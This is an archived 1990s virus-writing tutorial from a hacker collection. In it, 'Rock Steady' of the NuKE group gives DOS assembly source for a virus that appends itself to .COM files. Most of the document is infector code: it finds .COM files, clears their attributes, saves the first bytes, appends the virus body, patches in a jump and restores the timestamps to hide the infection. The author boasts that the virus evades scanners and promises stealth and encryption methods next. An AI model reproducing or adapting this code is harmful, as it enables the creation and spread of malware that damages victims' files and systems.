home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut003.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  7.4 KB  |  192 lines

  1.                    ******************************************
  2.                    **  Constructing Kit on infecting .COM  **
  3.                    **                                      **
  4.                    **          By Rock Steady/NuKE         **
  5.                    ******************************************
  6.  
  7.  
  8.      Well I must state my opinion that there are certainly WAY too many
  9.  Overwriting Viruses out here. To help put a Stop to this I will try
  10.  to explain to you a SIMPLE way to infect COM files at the END of the
  11.  Program. This routine WORKS if you follow my steps correctly, and
  12.  I've already used this in my `ParaSite ][' Virus.
  13.  
  14.  Anyhow this is a brief description what the ASM Source will do.
  15.              1. Find a .COM file in the current Directory
  16.              2. Save the Date and File's Attribute.
  17.              3. Save the First 3 Bytes in a Stack
  18.              4. Infect the File & restore new 3 bytes..
  19.              5. Put the OLD date and File Attributes back on
  20.  
  21.                           Beginning...
  22.                          ~~~~~~~~~~~~
  23.  ;----------------------------------------------------------------------
  24.  ; The Simple routine to Search for a .COM File...
  25.  ;----------------------------------------------------------------------
  26.  com_files       db      "*.com",0
  27.  
  28.          mov     ah,4eh          ;point to a *.COM file...
  29.          mov     dx,com_files
  30.          mov     cx,3            ;Attributes with ReadOnly or Hidden
  31.          int     21h             ;is A okay...
  32.  
  33.          cmp     ax,12h          ;Any files found?
  34.          je      exit            ;If no Files found Exit...
  35.          jmp     found_file
  36.  ; Instead of Exiting here you can make the Virus go and change dir and
  37.  ; look for several other .com files else where... with the help of the
  38.  ; path or simply searching for more <dir>...
  39.  
  40.  found_file:
  41.          mov     di,[si+file] ;di points to the filename
  42.          push    si
  43.          add     si,file          ;si points to filename...
  44.  
  45.          mov     ax,offset 4300h  ;get file Attributes...
  46.          mov     dx,si            ;filename in dx..
  47.          int     21h
  48.  
  49.          mov     file_attrib,cx   ;Save file Attributes.
  50.  
  51.  file    dw      0
  52.  ; Here we'll set the file attributes to nothing
  53.  
  54.          mov     ax,offset 4301h    ;To set file Attributes...
  55.          mov     cx,offset 0fffeh   ;Set them to a Normal File
  56.          mov     dx,si              ;filename...
  57.          int     21h
  58.  
  59.          mov     ax,offset 3d02h    ;Open File to Read/Write.
  60.          mov     dx,si              ;ASCIIZ filename
  61.          int     21h
  62.  
  63.          jnb     ok                 ;If file was open continue
  64.          jmp     put_old_attrib     ; error happened restore old attribs
  65.                                     ; and quit.
  66.  ok:
  67.          mov     bx,ax
  68.          mov     ax,offset 5700h    ;Get File Date & Time...
  69.          int     21h
  70.  
  71.          mov     old_time,cx        ;Save old File Time...
  72.          mov     old_date,dx        ;Save old File Date
  73.  
  74.  old_time        db      0
  75.  old_date        db      0
  76.  
  77.  ; here we infect the file... but first we SAVE the first 3 bytes
  78.  ; somewhere in our virus
  79.  
  80.          mov     ah,3fh          ;Read file...
  81.          mov     cx,3            ;Number of bytes to read
  82.          mov     dx,first_3      ;Save bytes in the buffer
  83.          add     dx,si           ;Filename...
  84.          int     21h
  85.  
  86.          cmp     ax,3            ;Where 3 bytes read?
  87.          jnz     fix_file        ;If not fix file like before and quit
  88.  
  89.  first_3     equ     $    ; The First three bytes of the Original File!
  90.              int     20h  ; the virus is infected to.
  91.              nop
  92.  
  93.  ; This moves the File pointer to the END of the file
  94.  
  95.          mov     ax,offset 4202h
  96.          mov     cx,0
  97.          mov     dx,0
  98.          int     21h
  99.          mov     cx,ax          ;DX:AX is the FILESIZE!
  100.          sub     ax,3           ;subtract three because of file pointer
  101.  
  102.          add     cx,offset c_len_y
  103.          mov     di,si
  104.          sub     di,offset c_len_x
  105.          mov     [di],cx        ;Modifies the 2nd & 3rd bytes of program
  106.  
  107.  ; The writes our virus to the file
  108.  
  109.          mov     ah,40h
  110.          mov     cx,virlength      ;Virus Length
  111.          mov     dx,si             ;File...
  112.          sub     dx,offset codelength  ;Length of virus codes.
  113.          int     21h
  114.  
  115.          cmp     ax,offset virlength   ;all bytes written?
  116.          jnz     fix_file              ;If no fix file and quit
  117.  
  118.  ;Moves the file pointer to the beginning of file and write the
  119.  ;3 bytes JMP at the beginning of the file
  120.  
  121.          mov     ax,offset 4200h
  122.          mov     cx,0
  123.          mov     dx,0
  124.          int     21h
  125.                                                           
  126.          mov     ah,40h       ;Write to file...
  127.          mov     cx,3         ;# of bytes to write...
  128.          mov     dx,si        ;File name...
  129.          add     dx,jump      ;Point to the new JMP statement
  130.          int     21h
  131.  
  132.  jump    db      0e9h    ;This is the JMP that will be put in the
  133.                          ;Begining of the file!
  134.  
  135.  ;Restore Old File Time & Date
  136.  
  137.  fix_file:
  138.          mov     dx,old_date     ;Old File Date
  139.          mov     cx,old_time     ;Old file Time...
  140.          and     cx,offset 0ffe0h ;Flat Attribs.
  141.          mov     ax,offset 5701h
  142.          int     21h
  143.  
  144.          mov     ah,3eh
  145.          int     21h             ;Close file...
  146.  
  147.  
  148.  ; Here we'll restore the old file attributes...
  149.  
  150.  put_old_attrib:
  151.          mov     ax,offset 4301h
  152.          mov     cx,old_att      ;old File Attributes.
  153.          mov     dx,si           ;Filename...
  154.          int     21h
  155.  
  156.  ;----------------------------- EnD -------------------------------------
  157.  
  158.  Anyhow that's it... Simple no? This source was also used in my ParaSite ][
  159.  Virus that is STILL undetectable to date with Scanv85. Anyhow I even made
  160.  it MORE simpler than my real sources that have to play with the file paths.
  161.  
  162.  Anyhow theres still work to be done, like you must restore the old data file
  163.  so it will jump to 100h and run the old file the virus was infected too!
  164.  Remember to store them in the beginning and then restore them! Anyhow there's
  165.  a few Variables to be put in like `VirLength' which you should know how to
  166.  do that also the `CodeLength' that is the VIRUS codes ONLY not counting the
  167.  Stacks.
  168.  
  169.  Anyhow This works FINE with a Non-Resident Virus. Because a few statements
  170.  would have to be edited for TSRs. Anyhow try to use this, it's small neat
  171.  and fast.
  172.  
  173.  Anyhow Perhaps next issue I will develop a SIMPLE Ram-Resident virus that
  174.  infects COMs and EXEs to be released into the next issue! Though I just
  175.  release this sources for you to LEARN! Rather than putting you name on my
  176.  virus and releasing another strain on work I worked Hard upon! Anyhow I
  177.  should release a SIMPLE new Virus source for all you programmers out there!
  178.  And I will even explain a few Stealth Technics like how to hide your program
  179.  in memory right under the TOM.
  180.  
  181.  If there's Any Questions you want to know, please ask them I will answer
  182.  them in the next [NukE] Releases... I may even release source codes on how
  183.  to make an Algorithm Encryption method! I've developed one on my own,
  184.  without the V2PX viruses sources... Anyhow it does the job and the formula
  185.  I developed has an UNLIMITED amount of encryption methods! But since the
  186.  virus codes have to be SMALL Like close to 2,000 bytes I will limit the
  187.  formula to about 1,000 different combinations!
  188.  
  189.                             Rock Steady
  190.                  NukE / Viral Development Reaseacher
  191.                               -PeAcE-                     
  192.